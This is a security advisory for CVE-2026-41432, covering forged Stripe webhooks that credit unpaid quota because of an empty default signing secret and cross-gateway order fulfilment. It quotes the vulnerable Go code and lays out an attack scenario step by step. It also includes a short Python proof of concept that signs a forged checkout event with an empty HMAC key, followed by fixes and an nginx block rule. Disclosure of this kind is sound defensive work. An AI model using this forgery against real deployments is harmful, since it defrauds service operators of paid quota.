CVE-2026-41432

Description

## Summary A critical vulnerability exists in the Stripe webhook handler that allows an **unauthenticated attacker to forge webhook events** and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws: 1. The Stripe webhook endpoint does not reject requests when `StripeWebhookSecret` is empty (the default). 2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively **bypassing signature verification entirely**. 3. The `Recharge` function does not validate that the order's `PaymentMethod` matches the callback source, enabling **cross-gateway exploitation** — an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook. ## Affected Components - `controller/topup_stripe.go` — `StripeWebhook()`, `sessionCompleted()` - `model/topup.go` — `Recharge()`, `RechargeCreem()`, `RechargeWaffo()` - `controller/topup.go` — `EpayNotify()` - `controller/topup_creem.go` — `CreemAdaptor.RequestPay()` (missing `PaymentMethod` field) - `router/api-router.go` — webhook route registered without any guard ## CWE Classification - **CWE-345**: Insufficient Verification of Data Authenticity - **CWE-1188**: Initialization with an Insecure Default (empty webhook secret) - **CWE-863**: Incorrect Authorization (cross-gateway order fulfillment) ## Vulnerability Details ### Flaw 1: Empty Webhook Secret Bypasses Signature Verification The `StripeWebhookSecret` setting defaults to an empty string `""`. The Stripe Go SDK (`webhook.ConstructEventWithOptions`) does **not** reject empty secrets — it computes `HMAC-SHA256` with an empty key, producing a deterministic and publicly computable signature. **Vulnerable code** (`controller/topup_stripe.go`): ```go func StripeWebhook(c *gin.Context) { // No check for empty StripeWebhookSecret payload, _ := io.ReadAll(c.Request.Body) signature := c.GetHeader("Stripe-Signature") endpointSecret := setting.StripeWebhookSecret // defaults to "" event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...) // When secret is "", attacker can compute valid HMAC with the same empty key } ``` The webhook route is unconditionally registered with **no authentication middleware and no rate limiting**: ```go apiRouter.POST("/stripe/webhook", controller.StripeWebhook) ``` ### Flaw 2: Missing `payment_status` Verification The `sessionCompleted` handler only checks `status == "complete"` but does **not** verify `payment_status == "paid"`. Stripe's `checkout.session.completed` event can fire with `payment_status = "unpaid"` for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or `payment_status = "no_payment_required"` for 100% discount coupons. Additionally, `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed` events are not handled, so delayed payments that ultimately fail are never rolled back. ### Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation) The `model.Recharge()` function (called by the Stripe webhook) looks up orders solely by `trade_no` and does **not** validate that the order's `PaymentMethod` is `"stripe"`: ```go func Recharge(referenceId string, customerId string) (err error) { // Finds ANY pending order by trade_no, regardless of PaymentMethod tx.Where("trade_no = ?", referenceId).First(topUp) if topUp.Status != "pending" { return } // Credits quota without checking topUp.PaymentMethod quota = topUp.Money * QuotaPerUnit tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota)) } ``` This allows an attacker to create orders through **any** configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook — even if Stripe itself was never configured. ## Attack Scenario **Prerequisites**: Any payment method is configured (e.g., Epay) + `StripeWebhookSecret` is empty (default). 1. Attacker registers a user account. 2. Attacker calls `POST /api/user/pay` to create an Epay top-up order (e.g., `amount=10000`). The order is stored with `status=pending`. 3. Attacker queries `GET /api/user/topup/self` to retrieve the `trade_no` of the pending order. 4. Attacker computes `HMAC-SHA256` with an empty key over a crafted `checkout.session.completed` payload containing the stolen `trade_no` as `client_reference_id`. 5. Attacker sends `POST /api/stripe/webhook` with the forged payload and signature header. 6. The server verifies the signature (passes because the secret is empty), calls `Recharge()`, which finds the Epay order by `trade_no`, marks it as `success`, and credits the full quota. 7. Attacker repeats steps 2–6 indefinitely for unlimited credits. **Proof of concept** (pseudocode): ```python import hmac, hashlib, time, json, requests timestamp = int(time.time()) payload = json.dumps({ "type": "checkout.session.completed", "data": { "object": { "client_reference_id": "<trade_no from step 3>", "status": "complete", "payment_status": "paid", "customer": "cus_fake", "amount_total": "0", "currency": "usd" } } }) # Empty secret = publicly computable signature sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest() header = f"t={timestamp},v1={sig}" requests.post("https://target/api/stripe/webhook", data=payload, headers={"Stripe-Signature": header, "Content-Type": "application/json"}) ``` ## Remediation ### Fix 1: Reject webhooks when secret is empty ```go func StripeWebhook(c *gin.Context) { if setting.StripeWebhookSecret == "" { c.AbortWithStatus(http.StatusForbidden) return } // ... existing logic } ``` ### Fix 2: Verify `payment_status` and handle async payment events ```go func sessionCompleted(event stripe.Event) { // ... existing status check ... paymentStatus := event.GetObjectValue("payment_status") if paymentStatus != "paid" { return // Wait for async_payment_succeeded event } fulfillOrder(event, referenceId, customerId) } ``` Add handlers for `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed`. ### Fix 3: Validate PaymentMethod in all recharge functions ```go // In model.Recharge (Stripe): if topUp.PaymentMethod != "stripe" { return ErrPaymentMethodMismatch } // In model.RechargeCreem: if topUp.PaymentMethod != "creem" { return ErrPaymentMethodMismatch } // In model.RechargeWaffo: if topUp.PaymentMethod != "waffo" { return ErrPaymentMethodMismatch } // In controller.EpayNotify: if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" { return // reject cross-gateway fulfillment } ``` ### Additional fix: Set PaymentMethod on Creem order creation The Creem order creation was missing the `PaymentMethod` field entirely: ```go topUp := &model.TopUp{ // ... PaymentMethod: "creem", // was missing } ``` ## Patched Versions - **v0.12.10** — includes all three fixes described above. All users are strongly encouraged to upgrade immediately. ## Workaround (for users unable to upgrade immediately) If users cannot upgrade to v0.12.10 right away, apply **all** of the following mitigations: 1. **Set `StripeWebhookSecret` to any non-empty value.** Go to the admin panel → Payment → Stripe, and set the Webhook Signing Secret to **any random string** (e.g., `whsec_placeholder_do_not_leave_empty`). It does **not** need to be a real Stripe secret — any non-empty value will prevent the empty-key HMAC forgery. **This is the single most important step** — it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's [Stripe Dashboard → Webhooks](https://dashboard.stripe.com/webhooks) to ensure legitimate webhooks continue to work. 2. **If Stripe is not in use, block the webhook endpoint.** If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to `/api/stripe/webhook`: ```nginx location = /api/stripe/webhook { return 403; } ``` > **Note**: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing `payment_status` check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. **Upgrading is the only complete fix.** ## Impact - **Financial fraud**: Attacker obtains unlimited API quota without payment. - **Operator financial loss**: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator. - **Silent exploitation**: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult. - **Wide exposure**: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable. ## Timeline - **2025-04-15**: Vulnerability reported by [@ChangeYu0229](https://github.com/ChangeYu0229) - **2025-04-15**: Vulnerability confirmed and root cause analysis completed - **2025-04-15**: Fix developed and applied - **2025-04-15**: Patched in v0.12.10 ## Resources - [Stripe Webhook Signature Verification Docs](https://docs.stripe.com/webhooks#verify-official-libraries) - [Stripe Checkout Fulfillment Guide — Handle async payment methods](https://docs.stripe.com/checkout/fulfillment#async-payment-methods) - [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html) - [CWE-1188: Initialization with an Insecure Default](https://cwe.mitre.org/data/definitions/1188.html)